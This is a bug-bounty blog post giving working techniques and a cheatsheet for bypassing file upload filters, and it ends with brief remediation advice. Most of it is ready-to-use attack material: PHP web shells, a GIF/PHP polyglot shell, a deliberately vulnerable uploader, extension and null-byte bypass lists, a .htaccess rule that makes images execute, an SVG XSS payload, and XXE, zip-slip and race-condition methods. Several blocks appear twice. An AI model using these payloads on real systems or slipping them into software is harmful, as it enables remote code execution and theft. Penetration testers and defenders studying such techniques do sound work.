July 31, 2026
Breaking File Upload Filters: A Bug Hunter’s Techniques + Cheatsheet
Every trick I use when a target hands me an upload button.

By Fuzzyy Duck
4 min read
A file upload form is one of the highest-value targets on any application. When it goes wrong, it goes wrong loudly remote code execution, stored XSS, XXE, SSRF, the whole menu. But upload defenses aren't one wall; they're three separate checks, and each one is a separate door. This post walks through how to defeat each check, shows a real polyglot bypass with code, and ends with a cheatsheet you can keep next to your keyboard.
The mental model: every filter asks three questions
Before any payload, understand what you're up against. Every upload defense is really answering three questions independently:
- What is this file named? — extension checks
- What does this file claim to be? — the
Content-Typeheader - What is this file actually made of? — magic bytes / content sniffing
A robust uploader validates all three, ties them together, re-encodes the file, and stores it where code can't execute. A broken one checks one of them, often in the browser and calls it a day. Your job is to figure out which questions the target actually asks, and lie convincingly to only those.
The first thing to determine on any form: is validation client-side or server-side? Select a legitimate file, let the browser's JavaScript pass, then edit the filename and content in Burp after the client check but before the request reaches the server. If it goes through, the "filter" was pure theater. This single test decides everything that follows.
Defeating Check #1: extension filters
If the server blocks certain extensions, the blocklist is almost never as complete as the developer thinks.
Double extensions — depends on how the server parses:
shell.php.jpg
shell.jpg.phpshell.php.jpg
shell.jpg.phpAlternate executable extensions — the blocklist usually forgets some:
- PHP:
.php3.php4.php5.php7.phtml.pht.phar.inc - ASP:
.asp.aspx.asa.cer.asmx - Java:
.jsp.jspx.jsw.jsv.jspf
Case variation — case-sensitive blocklists are embarrassingly common:
shell.pHp
shell.PhTmlshell.pHp
shell.PhTmlTrailing characters — parsers and validators disagree about where the extension ends:
shell.php.
shell.php%20
shell.php%00.jpg # classic null byte, still alive on older stacks
shell.php;.jpg
shell.php::$DATA # NTFS alternate data stream on IISshell.php.
shell.php%20
shell.php%00.jpg # classic null byte, still alive on older stacks
shell.php;.jpg
shell.php::$DATA # NTFS alternate data stream on IISDefeating Check #2: Content-Type validation
If the server trusts the Content-Type header in the multipart body, just lie to it. Keep your payload, change the declared type to image/jpeg, image/png, or image/gif:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>Extension and Content-Type are often validated independently — so deliberately mismatching them tells you which one the server actually reads.
Defeating Check #3: magic bytes (the polyglot demo)
This is the strongest technique, so let's build it properly. When the server sniffs file content, you need a file that satisfies two parsers at once a polyglot. GIF is the friendliest host because its signature is short, printable ASCII.
Here's a file that is simultaneously a valid GIF and valid PHP:
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>Why it works: the first six bytes, GIF89a, are the GIF signature. A content sniffer reads the header, sees a valid GIF, and waves it through. The PHP interpreter ignores the leading bytes entirely — it scans for <?php, finds it, and executes everything inside the tags. One file, two happy parsers.
The vulnerable server side — this is the pattern you're exploiting:
// VULNERABLE: sniffs content but trusts the client filename
$tmp = $_FILES['avatar']['tmp_name'];
$name = $_FILES['avatar']['name']; // attacker-controlled
$info = getimagesize($tmp); // "is it an image?"
if ($info !== false) { // GIF header => passes
move_uploaded_file($tmp, "uploads/" . $name); // saved as shell.php
}// VULNERABLE: sniffs content but trusts the client filename
$tmp = $_FILES['avatar']['tmp_name'];
$name = $_FILES['avatar']['name']; // attacker-controlled
$info = getimagesize($tmp); // "is it an image?"
if ($info !== false) { // GIF header => passes
move_uploaded_file($tmp, "uploads/" . $name); // saved as shell.php
}getimagesize() sees the GIF header and returns truthy. The filename is taken straight from the client, so the file lands as shell.php in a directory that executes PHP. Browse to it with ?cmd=id and you have RCE.
Signatures to prepend for other formats:
GIF -> GIF89a;
JPEG -> \xFF\xD8\xFF\xE0
PNG -> \x89PNG\r\n\x1a\n
PDF -> %PDF-1.5GIF -> GIF89a;
JPEG -> \xFF\xD8\xFF\xE0
PNG -> \x89PNG\r\n\x1a\n
PDF -> %PDF-1.5The GIF header wins for text-based payloads because it's printable — no hex editor required.
When the file lands where PHP won't run
Plenty of modern apps push uploads to object storage like S3, which quietly kills RCE, nothing there executes. Don't pack up.
SVG is still a loaded gun. It's XML, so it carries stored XSS:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg><svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>If that SVG is served inline and rendered in a victim's browser, you have stored XSS on whatever origin serves it. Its XML nature also opens XXE if the server parses it.
Other content-parsing angles that survive object storage:
- XXE via any XML-backed format — DOCX, XLSX, SVG carrying external entity payloads
- EXIF metadata injection — XSS or template-injection payloads in metadata fields that get reflected somewhere
- Zip slip — ../../ paths in archive entries if the app extracts uploads
- CSV injection — formula payloads (= + - @) if the file is exported or opened in a spreadsheet downstream
- Decompression / pixel-flood bombs — a tiny file that expands enormously, for DoS
Two techniques everyone forgets
The .htaccess power move (Apache). If you can land a .htaccess in the uploads directory, you rewrite the rules of execution:
AddType application/x-httpd-php .jpgAddType application/x-httpd-php .jpgNow every .jpg in that directory runs as PHP. The IIS equivalent is a crafted web.config.
TOCTOU race. Some apps upload the file, then run an async job to validate or AV-scan it and delete it if bad. That gap is a race, upload your payload and hammer requests to its path in a tight loop. Hit it before cleanup runs and you win. Easy to miss because the upload "fails" seconds later and you assume the defense held.
The cheatsheet
File Upload Cheatsheet
[ EXTENSION FILTER ]
shell.php.jpg / shell.jpg.php double extension
.php3 .php5 .php7 .phtml .pht .phar alt PHP
.asp .aspx .asa .cer .asmx alt ASP
.jsp .jspx .jsw .jspf alt Java
shell.pHp case variation
shell.php. trailing dot
shell.php%00.jpg null byte
shell.php%20 / shell.php;.jpg trailing space / semicolon
shell.php::$DATA NTFS ADS (IIS)
[ CONTENT-TYPE ]
swap header -> image/jpeg | image/png | image/gif
mismatch extension vs Content-Type to probe which is trusted
[ MAGIC BYTES ]
GIF89a; GIF (printable, best)
\xFF\xD8\xFF\xE0 JPEG
\x89PNG\r\n\x1a\n PNG
%PDF-1.5 PDF
-> polyglot: signature + payload in one file
[ NO-EXEC STORAGE (S3 etc.) ]
SVG -> stored XSS / XXE
DOCX/XLSX/SVG -> XXE
EXIF -> XSS / SSTI reflection
ZIP -> zip slip (../../)
CSV -> formula injection (= + - @)
image -> decompression / pixel-flood DoS
[ OFTEN FORGOTTEN ]
.htaccess -> AddType application/x-httpd-php .jpg
web.config -> IIS equivalent
TOCTOU -> race the validate/delete window
[ FIRST TEST, ALWAYS ]
intercept in Burp -> is validation client-side only?File Upload Cheatsheet
[ EXTENSION FILTER ]
shell.php.jpg / shell.jpg.php double extension
.php3 .php5 .php7 .phtml .pht .phar alt PHP
.asp .aspx .asa .cer .asmx alt ASP
.jsp .jspx .jsw .jspf alt Java
shell.pHp case variation
shell.php. trailing dot
shell.php%00.jpg null byte
shell.php%20 / shell.php;.jpg trailing space / semicolon
shell.php::$DATA NTFS ADS (IIS)
[ CONTENT-TYPE ]
swap header -> image/jpeg | image/png | image/gif
mismatch extension vs Content-Type to probe which is trusted
[ MAGIC BYTES ]
GIF89a; GIF (printable, best)
\xFF\xD8\xFF\xE0 JPEG
\x89PNG\r\n\x1a\n PNG
%PDF-1.5 PDF
-> polyglot: signature + payload in one file
[ NO-EXEC STORAGE (S3 etc.) ]
SVG -> stored XSS / XXE
DOCX/XLSX/SVG -> XXE
EXIF -> XSS / SSTI reflection
ZIP -> zip slip (../../)
CSV -> formula injection (= + - @)
image -> decompression / pixel-flood DoS
[ OFTEN FORGOTTEN ]
.htaccess -> AddType application/x-httpd-php .jpg
web.config -> IIS equivalent
TOCTOU -> race the validate/delete window
[ FIRST TEST, ALWAYS ]
intercept in Burp -> is validation client-side only?How to actually fix it
Since the goal is a better internet: the polyglot bug dies if the developer does any one of these, properly validate the extension against a server-side allowlist, verify magic bytes and tie them to the extension, re-encode the image (a genuine resize shreds any polyglot, the PHP tags don't survive), randomize the stored filename, and serve uploads from a directory or bucket that never executes code. Defense in depth means each mistake has to be present; remove one brick and the wall holds.